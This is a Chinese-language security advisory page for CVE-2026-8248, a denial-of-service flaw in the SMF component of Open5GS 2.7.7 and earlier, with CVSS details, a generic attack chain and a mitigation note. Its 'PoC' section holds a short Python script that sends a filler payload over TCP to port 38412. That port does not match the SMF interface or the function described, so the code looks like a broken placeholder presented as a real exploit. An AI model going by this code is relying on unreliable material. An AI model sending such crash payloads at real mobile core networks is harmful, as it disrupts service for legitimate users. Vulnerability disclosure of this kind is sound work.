IPBUF安全漏洞报告
English
CVE-2026-8248 CVSS 4.3 中危

CVE-2026-8248 Open5GS SMF组件拒绝服务漏洞

披露日期: 2026-05-10

漏洞信息

漏洞编号
CVE-2026-8248
漏洞类型
拒绝服务
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Open5GS

相关标签

拒绝服务Open5GSSMFDoS5G核心网

漏洞概述

Open5GS 2.7.7及之前版本存在拒绝服务漏洞。漏洞位于SMF组件的npcf-handler.c文件中,攻击者可远程利用该漏洞导致目标服务崩溃,目前利用代码已公开。

技术细节

该漏洞源于Open5GS移动核心网中SMF(会话管理功能)组件在处理网络策略控制时的逻辑缺陷。具体受影响的代码文件为/src/smf/npcf-handler.c,关键函数为update_authorized_pcc_rule_and_qos。该函数在处理PCC(策略和计费控制)规则更新及QoS(服务质量)参数时,未对输入数据进行充分的边界检查或异常状态处理。攻击者可以通过网络向受影响的Open5GS实例发送特制的控制信令包。由于攻击复杂度低且无需用户交互,拥有低权限的攻击者即可利用此漏洞。一旦触发,将导致SMF进程崩溃或挂起,从而使合法用户无法接入网络服务,造成严重的拒绝服务后果。

攻击链分析

STEP 1
侦察
攻击者扫描网络,识别运行Open5GS的服务器及其SMF组件暴露的接口端口。
STEP 2
武器化
攻击者构造特制的控制信令数据包,该数据包包含能够触发update_authorized_pcc_rule_and_qos函数逻辑错误的恶意参数。
STEP 3
交付
攻击者通过网络向目标SMF组件发送该恶意数据包。
STEP 4
利用
目标系统解析数据包并调用受影响的函数,由于未正确处理异常数据,导致程序流程中断。
STEP 5
影响
SMF组件崩溃或停止响应,导致网络无法建立新的会话,造成拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket # Conceptual Proof of Concept for CVE-2026-8248 # Target: Open5GS SMF Component # Trigger: Malformed PCC Rule Update def send_exploit(target_ip, target_port): try: print(f"[*] Connecting to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # Simulating a malformed packet that triggers the crash in # update_authorized_pcc_rule_and_qos # Payload structure may vary based on specific protocol implementation (NAS/GTP/DIAMETER) payload = b"\x00\x01\x02\x03" + b"\x41" * 2048 print(f"[*] Sending malicious payload...") s.send(payload) print("[+] Payload sent successfully. Check if service crashed.") s.close() except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": # Replace with actual target IP and port send_exploit("127.0.0.1", 38412)

影响范围

Open5GS <= 2.7.7

防御指南

临时缓解措施
由于厂商尚未响应,建议暂时采取网络隔离措施,仅允许受信任的节点访问Open5GS的SMF接口,同时密切监控系统日志,一旦发现崩溃迹象及时重启服务。

参考链接